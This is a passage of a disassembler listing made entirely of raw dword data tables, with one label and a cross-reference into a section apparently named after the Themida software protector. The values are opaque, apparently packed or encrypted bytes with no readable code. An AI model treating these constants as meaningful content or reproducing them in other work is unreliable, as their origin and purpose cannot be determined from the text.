		dd 16285EF4h, 60AC5895h, 71294CA2h, 30BB0070h, 347B6DD8h
		dd 1323D12h, 1704B703h,	7B387224h, 0C90602FFh, 3638E2FCh
		dd 75840DBh, 68C94C37h,	0C2CCB84Bh, 0C044A0B7h,	82ED7040h
		dd 4580AD5h, 314EEDEh, 9FCD9D6Eh, 58274D61h, 0B60C074Ch
		dd 4EAB444h, 0AB79E5B8h, 9C093C8Ch, 5E9140h, 40A2C273h
		dd 98AC72FFh, 0E774A149h, 9548B7D8h, 86854471h,	0F04BA18Ah
		dd 4B345630h, 5900AC59h, 69B0344Ch, 9E871F1Eh, 2C71E8Bh
		dd 663CF44h, 8F89007Ch,	0D630DE08h, 9BBBDA2Eh, 0D5CE4800h
		dd 16079836h, 12448F9Ch, 0B8E0F920h, 0ACE2026Ch, 0B0AAA511h
		dd 0E044157h, 50386107h, 8055F25Eh, 0CCFEFD8h, 984DBDC4h
		dd 0A29B76C0h, 902D00E5h, 6893A043h, 7E405D92h,	1720049Eh
		dd 0FFC1B60Eh, 6CB24C74h, 613012B2h, 0EA1900C7h, 0E428FE8Ch
		dd 0E016AD6Bh, 70E026FCh, 0EB21216h, 0C110B96Eh, 243E336Ch
		dd 0F0584473h, 215C0418h, 0DA3089F6h, 7F1C3863h, 0F01F4807h
		dd 0E8C12F8h, 0EC23D216h, 0B8037184h, 30DE5B4Ch, 1CF991C1h
		dd 0EC862AB5h, 0F1534AB8h, 0F4B62F3Ch, 0D66639E0h, 0F92DB400h
		dd 422EAB30h, 81401A8h,	88F22022h, 54713A03h, 0C52A8AB0h
		dd 0E0C0A6ECh, 1602D033h, 88503F1Dh, 0D2FEC744h, 3100A7F2h
		dd 877925B6h, 2FE16Dh, 5DB47DFAh, 64AFD1A3h, 0CF1A9312h
		dd 636BA404h, 4F244E2h,	3920FB30h, 639C32D3h, 0D5057870h
		dd 0FAF0BF60h, 6CB59C12h, 0FB8547Dh, 0E5930813h, 5E070C80h
		dd 0A5F62D72h, 5B9D1CE0h, 82B16303h, 0AA94912Ah, 48D8BAh
		dd 0BC0A26D6h, 999AC14Dh, 732DA0BEh, 3B517898h,	0FCF87800h
		dd 0D7380ED5h, 0E00B9D86h, 0EDC205Eh, 0FE42DA98h, 6D050D00h
		dd 282AB795h, 0DB60AC0Fh, 0F375F93Ch, 27380031h, 145A6C2Fh
		dd 0F000F434h, 0E2D9DA0h, 0EF82E5B3h, 8B90753Ah, 0C04E88B4h
		dd 0FC37A3FAh, 3FFC0173h, 3B189F09h, 51DC56E1h,	30B22A33h
		dd 571EF082h, 800837D5h, 556C4CB6h, 0B5167B2Bh,	38B2633Eh
		dd 0DCE05602h, 0C8562472h, 9B8A4377h, 60B0E14Ah, 0F9364B18h
		dd 2EE9ADC8h, 163EBC63h, 0A53E3F80h, 0D8BD9B06h, 0C801891h
		dd 0DEEF8D26h, 80650012h, 9C581067h, 0A00145BCh, 7DD86339h
		dd 5DF28EFCh, 86EAA4A2h, 39E496DDh, 28C020DAh, 0E1FCA09Dh
		dd 2DE89DC9h, 4071EAADh, 3EAE4844h, 722308h, 9C2BB62Ah
		dd 0D688893Eh, 0DC51FB2h, 22140042h, 69109F01h,	595D582Dh
		dd 8B068280h, 0A07482CDh, 2660512Dh, 0E43F9644h, 271FDBE4h
		dd 12C06243h, 33C02038h, 0F4DE0D37h, 61F809D2h,	8C9A2AB4h
		dd 3CC07C88h, 3ADB2D29h, 210273F5h, 1CE122C3h, 0DB1F1E02h
		dd 0FFCE70E0h, 48B80725h, 91BF68h, 0D1E544EAh, 0DC79490Bh
		dd 0CA1A4702h, 0FAB83995h, 53BB0004h, 4E94ABBEh, 0D70086F0h
		dd 0E768F18Fh, 9FA0AA7h, 4DAFB6CEh, 0DE6B7CFEh,	12319038h
		dd 0ACCBF1B5h, 22C00BC8h, 1EB29D75h, 923532A8h,	4B60E7A4h
		dd 4BA830E9h, 249A4D26h, 9492F100h, 4B9F2DDAh, 7DE0D0B6h
		dd 731DC184h, 3D40C533h
dword_542764	dd 41CC9B64h, 53140F9Eh, 0F4A2FDDBh, 145E30F6h,	0D8A901F4h
					; DATA XREF: Themida_:005957BCo
		dd 73080AEEh, 5208386Dh, 6ABF921Ch, 83020068h, 2259638Fh
		dd 78964C6Bh, 2D15C210h, 131C20B7h, 0FEEFD956h,	653A00CDh
		dd 41716275h, 0C4B5DFD4h, 0F0719538h, 0F7908E03h, 1631D84Fh
		dd 0E04A0093h, 196B4E3Eh, 0A509FA7Eh, 712043DDh, 1878D94Ch
		dd 0B4A7029Ch, 0F734F3C5h, 5014C1h, 92E6FC80h, 206695ACh
		dd 0E3444B5h, 0A5B13C99h, 23662840h, 6D3BF0ADh,	7709097Bh
		dd 0BFD87037h, 6BC080EDh, 1650CD79h, 0E65F87A6h, 9B25E040h
		dd 37382499h, 0FCDB2F58h, 63AFF873h, 0D58A0B42h, 0D004970Fh
		dd 44AC125Fh, 8E9194C2h, 6BC1B0C9h, 0D6C90CDBh,	7035B00Bh
		dd 28805111h, 0FFCAF397h, 1C38CF79h, 0F670A5B2h, 0A850E0F0h
		dd 225A54F2h, 0D3B08844h, 0AD1016BFh, 45B8B4h, 34B53251h
		dd 4119D6BDh, 0F6C81A97h, 8802DC9Ch, 4004E867h,	6042750Eh
		dd 592508F6h, 0FBC8B410h, 5CCB5387h, 4FE55338h,	0CCC270D0h
		dd 7CF2958Ah, 483DCE25h, 8797A4h, 0CD23D45Bh, 5082B273h
		dd 1D599F09h, 18805749h, 6CCF1EEh, 534BBB90h, 0A93854D1h
		dd 9A2ED85Dh, 0CA3B806Ch, 9D8BCB7h, 926FF116h, 5599C73h
		dd 0F1024218h, 0C7D4B762h, 166C7430h, 9338ED73h, 34A8BCFDh
		dd 0ABE61B12h, 0A69604B9h, 0C5D6E084h, 1C063164h, 7EA71839h
		dd 4116A48Ch, 0A4282B14h, 8C9FB508h, 77850A11h,	7435AE36h
		dd 0B86EAFh, 4CB93071h,	0D35D2F34h, 0D46EAE18h,	45B40272h
		dd 1019F0EAh, 2540C755h, 1EB788E0h, 0A91A2813h,	0CCB8D0FDh
		dd 77E48902h, 5C9571FDh, 1646769Ch, 2A38B500h, 789E096Dh
		dd 206DC25h, 90A21844h,	20FC7EE0h, 6695117Ah, 4000B694h
		dd 0DC5D6AA1h, 0C82D3873h, 569C42C7h, 100C406Ch, 0F400CD84h
		dd 0D14043DEh, 988DCB2h, 0C6CF3E78h, 74E45045h,	7A91D461h
		dd 6C781482h, 98EEB0D4h, 0F0631314h, 0A2CCE310h, 33A7304Bh
		dd 0DCA8C295h, 3C3EDC6Ch, 474584FFh, 24880164h,	0B15FC18h
		dd 675D8A4Eh, 0B60B3458h, 58FDA706h, 0DA460B30h, 0B054FA6Ch
		dd 81E22484h, 64926847h, 80D48877h, 51559A18h, 5EE2A610h
		dd 0ABB884A4h, 149FAC30h, 0A19B050Fh, 0A011DEC1h, 609DEB14h
		dd 0BF4DA850h, 0AA03B4B7h, 0B8D0EC01h, 25F0FE20h, 0C87198F6h
		dd 7D1F2A42h, 0D80FF43Dh, 92A8C0ACh, 4EC0FAAEh,	0B82CB97Dh
		dd 0C5B600C2h, 7868A1C7h, 61BFAFA9h, 9B2EEF70h,	5A8880F4h
		dd 0F43FC824h, 0D9842505h, 0A16ECC56h, 7DF98B08h, 3D88027Fh
		dd 16D70FC7h, 8E71007Ch, 11D25D0Bh, 0F212A2B8h,	0A8B80F15h
		dd 0C8DCCBD2h, 10D5C907h, 13D851C8h, 971EDCDFh,	5EE342D4h
		dd 2191B054h, 76AA700h,	15ECB361h, 0B029F9h, 4EF6119Bh
		dd 0ACD477h, 0AF30B456h, 1BE3872Dh, 0FC48EB2Eh,	48F88312h
		dd 4E8C0BE8h, 1238B3EDh, 54B5A28Ah, 1B80D96Ah, 0B402DF84h
		dd 58728E69h, 53A91238h, 4F00BDFBh, 0A4E860ADh,	2706F100h
		dd 84CCAF8h, 0FEEC26F0h, 0E94F3C81h, 5A9108B8h,	0AEB6138Ch
		dd 6AEF3074h, 9DD305B8h, 64E8CF9Ch, 2172DA80h, 0B0B03A33h
		dd 132A6A20h, 9B340944h, 7B5F80F8h, 0F0A8A0h, 0B5ADC7EDh
		dd 6681731Ah, 91DC1DBFh, 17C08012h, 0E2DE207h, 19D09A0h
		dd 8424BDB2h, 0E8175630h, 1E700050h, 18CC22D6h,	0C1631F6Dh
		dd 1AFC06EEh, 0C3003029h, 0E2AD5EDh, 45E1215h, 0FE63FDEBh
		dd 4E1C9018h, 0A82FEAA6h, 0ADA0A219h, 9D3C781Fh, 6B972859h
		dd 0AC165CBDh, 23A007EDh, 31218DDAh, 0CEE980CDh, 0BB07D1F0h
		dd 25A0709h, 4FE5D04Bh,	1C5E88C9h, 0EA0CF18h, 0AF948318h
		dd 30C42416h, 848060ACh, 4A7583E8h, 4682A700h, 0A8D2481Dh
		dd 0F40F40EEh, 0D41F6671h, 64040DAh, 0DF80D18Bh, 671BD24h
		dd 4526562Dh, 17940039h, 0F9858919h, 0ED197AB7h, 0B50C86E7h
		dd 7704A979h, 8FC3C96Dh, 2BAED07Dh, 15B0088h, 0DE2CD343h
		dd 0E37A66E0h, 7C08305h, 3300E856h, 106CA522h, 0A5F9B5D4h
		dd 34C62E00h, 36483ECh,	3D22D845h, 408E5F13h, 3B1DF9E0h
		dd 17D90FD0h, 9C46033h,	1AE13085h, 0EAB9619Ah, 159F3F1Dh
		dd 2932E98Dh, 16B9B82Eh, 61BBD58Dh, 15208483h, 0AAAC4BEh
		dd 15A50Fh, 80FC60FEh, 6114F6D4h, 94849589h, 3FE93798h
		dd 0F4B58D01h, 0B66F17F1h, 94C0F4FFh, 0A2E70A9h, 8F0FC5D8h
		dd 5DBB4097h, 440BD2CBh, 0D5F5D780h, 0F075C032h, 0C0EC7F36h
		dd 0AE518F5Ah, 6C79C51Eh, 75A5E325h, 4E21C3B5h,	56219881h
		dd 0BAF5DF38h, 1145B66Eh, 19500681h, 0DB14418Dh, 54DA9h
		dd 8007CCB9h, 5124BD31h, 0A912428h, 98E6A900h, 17C968F5h
		dd 0F2501A75h, 8B1BFCD1h, 0BD53A1BDh, 3CA988AFh, 0DD966700h
		dd 62AE2D7Dh, 0C02B132Ah, 0F3DEAEBAh, 8E77A7CBh, 6A826A88h
		dd 0C9953107h, 33AD0378h, 5801D1C2h, 4E983D0h, 0F66BF475h
		dd 0B472E019h, 5FE3008Bh, 0C1BC55CBh, 22880DE9h, 9CEB00CDh
		dd 3735834Bh, 0A0AFF2Ah, 4DE81243h, 74D17305h, 81F708C0h
		dd 34DE38CBh, 0D5B3D05h, 3C9EEA88h, 0CFC3FAD2h,	42B7E137h
		dd 3FC0B26Fh, 2F86819Fh, 0EFEB36E6h, 0C170ED2Eh, 1BBD958Bh
		dd 0BCC6A92Eh, 0F44F79E8h, 9925005Bh, 816655F8h, 44898EFh
		dd 18DD09E2h, 49ED5F13h, 8B5008C0h, 3718E4C2h, 8E08C103h
		dd 1965EB95h, 0B8DBEF58h, 91CDAA93h, 0E06CB67Ah, 983DD62Fh
		dd 1DB92034h, 0F79D2924h, 0BD9E4D24h, 0BE0419F5h, 72CC3484h
		dd 9DB870F9h, 0DF524A7Eh, 39C089EDh, 20B589EDh,	0FF3109BDh
		dd 305582E1h, 5403F0Ch,	0BA9D4E31h, 88137F10h, 5B471101h
		dd 0BB90EEF8h, 5F45C502h, 1990F9FDh, 86120F03h,	0DBAB04F8h
		dd 82F9C094h, 9F0E22Fh,	0A7BCD393h, 0A1B52686h,	659D890Eh
		dd 6092DD1Fh, 0C7AB9AAEh, 81DF60D8h, 22B2AFFBh,	1261E07Ah
		dd 0F8C6FBBDh, 11F0D82h, 0B472F03Dh, 80FEA3CDh,	9D1218E1h
		dd 0C90A6785h, 2BF0AEA1h, 0A1E8D6FDh, 0AE922h, 9F02D71Bh
		dd 45FD5349h, 0FE62C72Ch, 17FBB917h, 0AF6EAF42h, 837D6309h
		dd 9B40E55h, 732898FAh,	6BEB0392h, 28C0AC3Ch, 0A2FDDEC0h
		dd 0A7A57F03h, 2133E231h, 16F1057Eh, 0F9034C18h, 22BF669Eh
		dd 32B3C918h, 1A95B17Ah, 0A0D2C067h, 16D03522h,	0EF4F06B1h
		dd 8A0FF621h, 0DD438663h, 1704E818h, 1F6603FFh,	0BD395276h
		dd 0BB109ED0h, 0EE4BD115h, 0C9AB221h, 7D21FB40h, 40D23CC9h
		dd 4DB4600h, 0C648F8B6h, 0F5D83E06h, 5AAB8B5Fh,	0C0FEF850h
		dd 664CEABBh, 8B5B315Eh, 0FDC99310h, 0FE71454Fh, 0BB3BBCCh
		dd 0D88B5806h, 0AE3D1885h, 9BBA60C5h, 0CC8B80C3h, 0E0510994h
		dd 646C486Dh, 5824DD10h, 0C4540B13h, 47BD16h, 644A4E7Eh
		dd 0A04A87E2h, 9DA26320h, 0C14C3838h, 0BE527D00h, 115F4903h
		dd 36F6750Ah, 960215E8h, 60BFCB99h, 39E391h, 27665C31h
		dd 6F2A470Bh, 0C0C66058h, 6333227Eh, 0FEF10011h, 7A9D441Fh
		dd 4CB0E58Eh, 0A0A7E700h, 6E95F61h, 0D8BBB302h,	0CE0BAA37h
		dd 0A4CD73ADh, 23816044h, 49071061h, 524CC505h,	0FC9AAA9Dh
		dd 0F6717BC0h, 60164ACAh, 30EB8D0Fh, 0B58BC0A6h, 6F353D33h
		dd 1F1885C7h, 0CD7BD1EBh, 7B855024h, 0AEE0B3A6h, 0CD0047B4h
		dd 0B0C0E4BEh, 38334E86h, 8941D9BDh, 772A55E6h,	7EE0A66Dh
		dd 62F336h, 6FC7813Dh, 894918E9h, 0CF040678h, 4707906Ch
		dd 0E09D6CD9h, 891E82CBh, 0BAC30446h, 96051D92h, 0FA66C3BFh
		dd 0F81508AEh, 5BC4B5FFh
		dd 1BC6EADh, 0A34FB500h, 50342A6Ah, 20AC4BB7h, 0CE1965C2h
		dd 0F0A6200h, 0A068F9BFh, 90722448h, 36046076h,	2BFA51A9h
		dd 83826A38h, 0E0DD6BAAh, 81A8E16Fh, 3C5F7130h,	7DC8ACBBh
		dd 0F06028CFh, 5B5C7405h, 97A26501h, 0E62CBBDAh, 0E26F0FDDh
		dd 1A080028h, 0F564F360h, 772D099Ch, 8D0070FBh,	104A72CCh
		dd 8D5B6212h, 9BBAE752h, 0BDA1C19Ch, 3D50A6E2h,	1C7C4D7h
		dd 0E107A70Bh, 0C01E83DEh, 0DF261F0h, 4063D414h, 50FE16C5h
		dd 0F4DD66FBh, 7BDEB3h,	918F84ACh, 0BD0BE637h, 490EC149h
		dd 20BE9787h, 0EBD390C6h, 63032A72h, 0D9E148C9h, 2B3AA815h
		dd 1252BD9Dh, 0DC615F2Fh, 0A700DC2Ch, 0D04EE4ECh, 5F3BF6B0h
		dd 0C2FAEC6Bh, 0E685C7F5h, 1302B998h, 0E9B605DFh, 9C4C92Fh
		dd 4DD764CFh, 0F458F697h, 0A51CFA73h, 0CE2E45E9h, 0A62A00F6h
		dd 546308BCh, 843D5A1Fh, 1128081h, 30502E6Bh, 7311B80Ch
		dd 90C1F444h, 0EA4F55Fh, 894C1FB0h, 0C0685803h,	366EEBE7h
		dd 6421F036h, 1BB170CFh, 28299A50h, 58180621h, 57016813h
		dd 0BD54B1Bh, 6537F74Fh, 0A8B22D00h, 26F4D807h,	13BCB5F0h
		dd 8B6C88F8h, 7ADC931Eh, 0D60656C7h, 12B7773Bh,	0B52FAB00h
		dd 259D8B0Dh, 0CA392879h, 0F7147003h, 0DD56045Ch, 0E47919A4h
		dd 0EACFDDF6h, 0FA0BBC40h, 0D09800DBh, 1FC7181Ah, 661342BBh
		dd 0A5082145h, 0B5756B54h, 6FDF0995h, 969D102h,	40CC4FFDh
		dd 10DA6AB3h, 0FE6B1226h, 261F3508h, 0D7481077h, 1C9D6AEFh
		dd 0B101E5F6h, 0DAE44856h, 9DDFBD61h, 6CAE88FBh, 0CA6F6B00h
		dd 0B479E519h, 0E01A1688h, 0BEC11759h, 6004E218h, 0F8E63881h
		dd 0B4C3581h, 6515598Dh, 838320D5h, 24342686h, 0A3B0A190h
		dd 6894D08Dh, 140C4E00h, 0B6BF66FFh, 29B8A010h,	37418232h
		dd 682D245h, 9D940BA5h,	120543A0h, 318519C5h, 20511844h
		dd 0C4868902h, 616EEFFDh, 0D4E10FEBh, 54FE8F8h,	7AFA4456h
		dd 0CBF30FE3h, 3FCCE119h, 1BE88236h, 0DC28FB60h, 890F5B09h
		dd 4B4E7Fh, 0F20BD415h,	61C44A2Eh, 0CF392DB8h, 0C283899Fh
		dd 0CA4D5704h, 522B0860h, 1C781B0Ch, 0CF9854D7h, 8D2E01C8h
		dd 89849629h, 19E12050h, 8CEF9A6h, 8A3FD8E3h, 0B60F499Dh
		dd 0D709B847h, 90E1CA6Dh, 1EC42082h, 0F873847h,	3B908CA5h
		dd 6578C51Dh, 2E045CD2h, 47142255h, 0CFED9AA5h,	0AC25A2E0h
		dd 0D0517Bh, 0EF84C81h,	2A01C205h, 0C689315Ch, 5421BBADh
		dd 1EC2F7C6h, 5833D375h, 0C2C4F6F1h, 65140579h,	9423A512h
		dd 0CA3830Ch, 52693377h, 98625F04h, 0B6960404h,	82E8E0A2h
		dd 0E2F90508h, 8CD2E04Ah, 0AA1EEF13h, 7CC25416h, 0C247F2DAh
		dd 11AF37FCh, 9123801Ch, 575DE3h, 58B09276h, 12C99501h
		dd 0DA2484B9h, 9BBF0C35h, 0EE308054h, 0B09E1166h, 14951033h
		dd 77718913h, 0CE40C5EFh, 2BDB643h, 60767591h, 0C68F50BFh
		dd 0F7E5BBC0h, 5F5041F4h, 0B351B7C9h, 769325CBh, 925E0DFh
		dd 11C80060h, 0DF8A2A28h, 822F0F26h, 614C910Ah,	9D2DEC2Eh
		dd 0C56DBFC1h, 7A664F18h, 8D3018E2h, 0B75A12D8h, 0D90EFB6h
		dd 0E92A71h, 54BC72F6h,	0E14682C6h, 0DC5BEF28h,	7405AD2Fh
		dd 0C00F4F2h, 0B5BF8375h, 2B94E19Dh, 2F638EB7h,	0DD4C2FCh
		dd 94F20907h, 112D5A0h,	0E20B4B7h, 2B1C911h, 0A77D0E04h
		dd 8F9EB037h, 4C3C028Bh, 1A456A5h, 1AD59260h, 3838F881h
		dd 77BD0F27h, 86DD4900h, 25C0BE11h, 0C406AE0Ah,	3C93B4C6h
		dd 37E24278h, 115800Fh,	355185C7h, 5710A565h, 15813B37h
		dd 0FFF118E9h, 26DFDC6h, 702715C0h, 8A3516FCh, 5F874E57h
		dd 3741C169h, 16A82B1Eh, 66DAEAA5h, 0C60AD80h, 0F1001766h
		dd 5DE78150h, 3C2F0A63h, 0AF2905Bh, 1D3D8529h, 94402C32h
		dd 0BB030830h, 628F2E46h, 0A3118E12h, 61A9C1EAh, 0FFF50205h
		dd 5B50DBC0h, 8F22E798h, 0D98A2702h, 0B3F92801h, 0F8509CEBh
		dd 38D0E9EBh, 840F118Ch, 95090406h, 8100284Dh, 91B443CBh
		dd 65EF5B4Bh, 54DAFA52h, 2D09A883h, 10A56010h, 0F9DF8D38h
		dd 0E1F8B7h, 0BB66DC85h, 0D1FFEAF6h, 73F97BBDh,	200913B9h
		dd 0C4BC06B8h, 0E80FDD8Bh, 84173D1Ah, 0FD928525h, 620F00BDh
		dd 392C80D0h, 547DB509h, 3802AA1Fh, 4ADD9D31h, 5ABEBF03h
		dd 8B923050h, 7357FA92h, 1A1F58D8h, 0A2AE6D12h,	34A98504h
		dd 0D9B70F02h, 16C446EDh, 82B89160h, 41BD2B09h,	2DA0490Fh
		dd 3D88D9ACh, 0B2F4F8DFh, 107C441Bh, 423C1BDh, 5B58B60h
		dd 9D331090h, 48C7B201h, 5E0F9661h, 0DBB6168Fh,	60F78265h
		dd 4BE36036h, 61DEED50h, 0D63CC113h, 859009D3h,	0D84B5DE6h
		dd 6FD213AFh, 0F53B138Bh, 64540901h, 882C35FFh,	820C690h
		dd 4025DDFBh, 0F781660Dh, 5F878D27h, 1C11AE35h,	33736B80h
		dd 1E02CA42h, 6A746C49h, 70F753FFh, 0B900F048h,	56E72521h
		dd 4A71B589h, 5DA14B13h, 0D7819620h, 962CE160h,	3190F279h
		dd 147E90Ch, 75208DFBh,	48B0700Bh, 1A201833h, 9870E626h
		dd 0C4372B9Ah, 0ED250025h, 3E769B30h, 0A002F488h, 0E40DE1B4h
		dd 653F4071h, 55F69D25h, 0A06F1046h, 8221197Ah,	4A006F59h
		dd 5A856F6Ch, 0A8C51E52h, 89764FD0h, 8287A43Eh,	0C8B60F5Bh
		dd 9D98C6F7h, 7400EB56h, 0BAF2E84Fh, 248C8A06h,	770F6AFAh
		dd 0C1606DC8h, 43D5A92Dh, 17B2F83Bh, 1FAD88Ah, 2BFE8B16h
		dd 0B99C88C8h, 89600210h, 1CCBE195h, 0DC0BF6D8h, 8B614000h
		dd 3CD6BFD1h, 77444C79h, 0E9C37509h, 3606F10h, 0C699515h
		dd 17B0C099h, 164A48Bh,	0C06F4194h, 9C0BCB95h, 0B9EA8552h
		dd 0E3251EB6h, 0AD065186h, 5218401h, 70745F02h,	3BBC4BCh
		dd 1F6C1B8Fh, 15065DE9h, 153D9D09h, 0C0DC97CBh,	592D06Eh
		dd 0EE61F63Ah, 8201858Dh, 623A1959h, 79293180h,	3BDE0028h
		dd 0F65FF8B3h, 813DD804h, 3E87E11Fh, 80A58382h,	0BD01FE28h
		dd 0AADFD089h, 4C55EA69h, 91B397F5h, 29011DE2h,	8732BD9Dh
		dd 0F36EAB4Bh, 0F5308702h, 0B86A9690h, 0CDDD8CA9h, 60174451h
		dd 2CEF2EBh, 593FBB45h,	95415E15h, 0B9F9855Dh, 0B3210761h
		dd 9D48E8DEh, 832B0097h, 8C11E455h, 4F04CF93h, 2DB8B21Dh
		dd 0D8807AACh, 86BCA463h, 0E2A09200h, 0B7D1BEBh, 17FD0405h
		dd 0E85FA3EEh, 0DBDB4A7Fh, 0FC7F2182h, 0DC6A5Ch, 0CC493E19h
		dd 0B764E5D2h, 0BD27139Eh, 1D3B25FFh, 44C07AC2h, 5E8222C5h
		dd 9B148D9h, 0B4D32981h, 501753E9h, 0A00EDB22h,	0B24BD4D5h
		dd 0B29B904h, 13A063E7h, 9F023F2Bh, 659D23ECh, 880D0225h
		dd 21A965A2h, 5E43EA09h, 7902F458h, 2F0CB8BBh, 0E5734164h
		dd 0DA4B9868h, 0C017C885h, 0DD39B753h, 0BC097498h, 0D1D98A80h
		dd 0BD0B588Eh, 0F69D23F2h, 4600DE01h, 0D3F0A2D4h, 4EF553CBh
		dd 2F6C8A5Fh, 0F6C77696h, 0E521F900h, 98A5031h,	0D80D4585h
		dd 0E09A59BDh, 8204B85Dh, 74C78FC3h, 1D46D69Ah,	38B96900h
		dd 8CCE9B28h, 107EA604h, 0F6EAE1FFh, 4680B0D2h,	0BBEA0177h
		dd 5C55A432h, 14202B60h, 4219BD1h, 1FB65F77h, 0A1CEE861h
		dd 0E39D0456h, 0A2BE53BBh, 92608FCCh, 0C077DBBAh, 0F18D0928h
		dd 0FC418210h, 0BFB71102h, 0F3EA283Ah, 9A3061D2h, 0F2E2D1h
		dd 56FDEABFh, 0A836A5ECh, 1B69EB12h, 0FFB1C80h,	5F7C8689h
		dd 27DC3F96h, 0EEC6391Bh, 12F367B0h, 0CB527523h, 56DF8297h
		dd 404FD460h, 0BC3BA195h, 6DFECF00h, 0B116C14Ah, 40BA3266h
		dd 6FD45B96h, 90737A40h
		dd 0C0876284h, 0DE745FD9h, 311FB542h, 0DAE41762h, 93DF49B8h
		dd 0FF64258Ch, 9D7F88h,	7F7D67E9h, 2657CDD6h, 95005178h
		dd 9E64818h, 0D260BCA3h, 259CF38Eh, 0FE61C190h,	23EDFDD6h
		dd 0D965D5C2h, 8CCB00B9h, 96C9D9ADh, 70903F07h,	0C682A02Fh
		dd 58DB576Ah, 0FD3E0173h, 4658729Ah, 0A7BFFC1Fh, 29B00713h
		dd 66C1A0A2h, 3A07B3BFh, 16317D5Dh, 0EF49E952h,	9677B83Fh
		dd 1030C685h, 3D8CFABBh, 9B5A36ACh, 188B8B16h, 0ACA1E9h
		dd 8310D1F7h, 917B3C28h, 0CD4E8B07h, 731E1FBFh,	9A4EA9A7h
		dd 69E4803Bh, 1393F72Eh, 197B388h, 0A318DF5Ah, 86A2752h
		dd 130C5D9Dh, 60B6A35Fh, 3D67CB32h, 1C726E9h, 0B405F6AFh
		dd 83480B5Ah, 0BD4938F0h, 0A997A4F8h, 4134CF50h, 3A961EA1h
		dd 0DEEF3D12h, 70C28779h, 0AD47D4D0h, 272CB872h, 406295BDh
		dd 8061615Eh, 743A65D7h, 0A0FDB639h, 24296467h,	44C0BB6h
		dd 0C089D860h, 0D919D2Ah, 9FFA8B88h, 1491A635h,	0E8F98384h
		dd 0BD987352h, 303B3441h, 0EACC21Bh, 0AAF61100h, 1B28B887h
		dd 0C0100098h, 250CB52Ch, 340BA1E4h, 0C15FF88Bh, 80315184h
		dd 5B27183Dh, 5B907146h, 6846A79Fh, 6EE2F600h, 7FBF0156h
		dd 5F7DB883h, 0FF468781h, 0FDEBFDF5h, 69D12990h, 3EDDB100h
		dd 12DE8E25h, 0FB620439h, 0C0712B7Dh, 8116D273h, 0DDCBC702h
		dd 745F5B83h, 0B7FD4B29h, 192882B9h, 6F7C502Bh,	4EC986Fh
		dd 8B601324h, 0C31430C6h, 0D9096AF0h, 37618988h, 9F1711D5h
		dd 0F3B9B205h, 11E95E91h, 0B593110h, 0D0B4411Fh, 0F2E1D380h
		dd 42EE53Ch, 9FCFE33Bh,	95A78161h, 0F1B80412h, 0CEF59BB5h
		dd 565A3A9Eh, 852B51EEh, 29B58929h, 3B25F0BDh, 1F03D5Fh
		dd 0B70F6BF4h, 0E53B2FDAh, 83A3BEA4h, 56BF20F7h, 214EDC4Eh
		dd 0CA193F09h, 5CADC2B3h, 10E371B9h, 43119D29h,	27D0CD09h
		dd 0F7B8843Dh, 133A7109h, 2FDBF00Fh, 0D79AF6F3h, 1DCF954h
		dd 0C564032Bh, 0DA14408Ah, 55E9BA5Eh, 5CE14AC7h, 82E539Eh
		dd 0A22C2E58h, 58001111h, 7FE36B50h, 9400E03Ch,	954653Dh
		dd 122BFF11h, 0F35F02EBh, 6BAF4ACFh, 0C07E005Ch, 1DCD14CAh
		dd 29BE09B8h, 0BC7973B3h, 0E1B7A7h, 4E2E8EB5h, 8D0128BAh
		dd 5723BB50h, 0B8353197h, 0EDB80729h, 8D37DE14h, 6CB6D2E7h
		dd 29BC7FF0h, 12ED9510h, 2AE98D4Bh, 5BAC62E9h, 0F64BD1Dh
		dd 0EEF723C1h, 116A5643h, 0EAD2D463h, 0A13C1EC9h, 0C54C5C80h
		dd 8745EE2h, 52CBD604h,	17E8E1ECh, 829BDBD6h, 74A2C24Dh
		dd 95C26E2Fh, 0D0731285h, 5BF85684h, 8C59D3BCh,	0A11D64BCh
		dd 215270B4h, 1B60C7F0h, 27810F51h, 86865A82h, 614B7311h
		dd 2C0FD1CCh, 639EFEBFh, 9AB8273Dh, 1006D7Fh, 621E559Dh
		dd 526D4BAh, 6ECBE2C0h,	59A80B19h, 9865828h, 0CF55B886h
		dd 0BA804F11h, 0CE62566h, 47E96028h, 0E745DD00h, 0BE58FA36h
		dd 804C0F49h, 4A62EE21h, 0BE613DA9h, 88C3E870h,	717A8B9Fh
		dd 7396002Bh, 0BE57558Ch, 0CF79CE1Dh, 46DC49A6h, 37B61715h
		dd 0B860ABCCh, 2A513489h, 0EA7F800Fh, 7E9F7E29h, 0AF336EABh
		dd 23C6888h, 0C4800985h, 49464F8Eh, 0BB2F9101h,	3C2C1963h
		dd 0B7C257Bh, 52ED3402h, 111D3CE0h, 8075562Bh, 0E3CE124Ah
		dd 0F52925B0h, 2FD9F311h, 0E15C9828h, 9AB01267h, 7222D1C9h
		dd 0E6E1D9Dh, 0E4BB8650h, 82BEE2F0h, 57F04DEh, 82CDC5F9h
		dd 88C0D968h, 0D7C52809h, 0B3F135B5h, 23206B2Eh, 0E9BB001Dh
		dd 0F7F61485h, 381EEB13h, 25DB8DB0h, 7BED9C30h,	0E601664h
		dd 0F54FC07Dh, 0D5A0A28Ah, 8F164953h, 7130B18Ch, 6AC1Ah
		dd 833F7FDCh, 6269B089h, 13018B1Eh, 5F66FAC4h, 0DBD78EBCh
		dd 2063804Ch, 9F6ED3Bh,	0BA1F745Eh, 6246B079h, 0D4B79533h
		dd 22BDEA0Eh, 0D882D4E6h, 11B40E3h, 69D251F8h, 6A5BB2E7h
		dd 0EFC601CAh, 0BF666CECh, 2C891CD0h, 0BF593D9Dh, 0FAC7495Eh
		dd 18DA957Bh, 0F0386Ch,	8F93E49h, 5007CB80h, 0A9BD8909h
		dd 7CE85D10h, 2FE3FFF2h, 8CAC26B9h, 40AC5697h, 2A7D8589h
		dd 48A6F49Dh, 7C9DD6F8h, 5ECE82CBh, 9FFE4C9Ch, 7912D509h
		dd 3D42ADCAh, 87794DC0h, 89544F08h, 15467604h, 3A80651Ah
		dd 0ABDF9405h, 26786EA2h, 47217B3h, 0BC725CBBh,	0BD6E5BB8h
		dd 620DBD04h, 95C2C147h, 258578CDh, 50AD4190h, 249D23D4h
		dd 4F3415F5h, 0BD030678h, 3912ED5Fh, 0FD5FB0E3h, 0EB740118h
		dd 0D19DE545h, 2BEC530h, 53CD9A26h, 0A05E2061h,	0EA31626Dh
		dd 0AD221A69h, 75D1FF25h, 688004B5h, 3B60D229h,	90AC782Dh
		dd 1E0920A2h, 0FA5FFAF7h, 0CA614B2Eh, 5BBA2592h, 2E33D979h
		dd 0D5738201h, 2568026Ah, 0DF6586D2h, 0EA509027h, 40767E70h
